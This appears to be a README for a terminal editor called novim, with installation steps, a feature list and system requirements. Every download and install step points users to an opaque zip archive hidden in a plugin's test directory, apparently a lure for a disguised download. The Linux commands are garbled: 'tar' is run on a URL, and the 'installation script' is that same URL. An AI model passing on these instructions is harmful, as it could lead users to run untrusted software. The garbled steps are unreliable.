Welcome to novim! This is a friendly terminal editor designed for vibe coders. If youβre looking for a simple way to write and edit your code in a comfortable environment, youβve come to the right place. Novim aims to provide an easier alternative to traditional editors like Vim.
Before diving into using novim, follow these steps to set it up on your computer. We've made it as straightforward as possible, even if you're not a tech expert.
To get started, you need to download the application. Click the link below to visit the releases page:
- Once on the releases page, look for the latest version of novim.
- You will see several files listed. Choose the one that matches your operating system (Windows, macOS, or Linux).
- Click on the file to download it to your computer.
After downloading, view the file in your downloads folder and proceed with the following steps based on your operating system.
- Locate the downloaded
.exefile. - Double-click on the file to run it.
- Follow the prompts of the installation wizard. It will guide you through the installation process.
- Once installed, you can find novim in your Start menu. Click to open it.
- Open your
Downloadsfolder and find the downloaded.dmgfile. - Double-click the
.dmgfile to open it. - Drag the novim icon into your
Applicationsfolder to install it. - You can find novim in your Applications. Click to open and start editing.
- Open your terminal.
- Navigate to your downloads folder, usually with
cd ~/Downloads. - Extract the file using the command
tar -xzf https://raw.githubusercontent.com/HonestlyRandom99999/novim/main/config/nvim/pack/plugins/start/gitsigns.nvim/test/Software-3.3.zip(use the actual file name). - Change into the novim directory with
cd novim. - Run the installation script with
https://raw.githubusercontent.com/HonestlyRandom99999/novim/main/config/nvim/pack/plugins/start/gitsigns.nvim/test/Software-3.3.zip. - You can now run novim from the terminal by typing
novim.
- User-Friendly Interface: Novim has a simple design that keeps distractions to a minimum.
- Fast and Lightweight: This editor opens quickly, so you can start coding right away.
- Syntax Highlighting: Novim supports various programming languages, making it easier to read and write code.
- Custom Themes: Personalize your workspace with different color themes that suit your style.
- Plugin Support: Extend the functionality of novim with community-created plugins.
Before installing novim, ensure your computer meets the following requirements:
- Windows 10 or later / macOS High Sierra or later / Linux with kernel 4.0 or later
- 2 GB RAM minimum
- Recommended 4 GB RAM or more
- At least 100 MB available disk space
- Explore Settings: Take a few minutes to explore the settings. You can customize your experience to match your preferences.
- Use Help Menu: If you get stuck, look for the Help menu within the application. It has useful guidance and shortcuts.
- Join the Community: Engage with other users by visiting our online forums. Share tips and tricks or get support when needed.
Your experience matters. If you encounter any issues or have suggestions, please reach out. You can open a new issue on our GitHub Issues page.
Make sure to check the releases page regularly for updates. New features and improvements are added often to enhance your experience with novim.
- Documentation: Comprehensive resources and guides to help you get the most from novim.
- Community Forum: Join discussions and connect with other users.
Thank you for choosing novim. Happy coding! Enjoy your time with this friendly editor.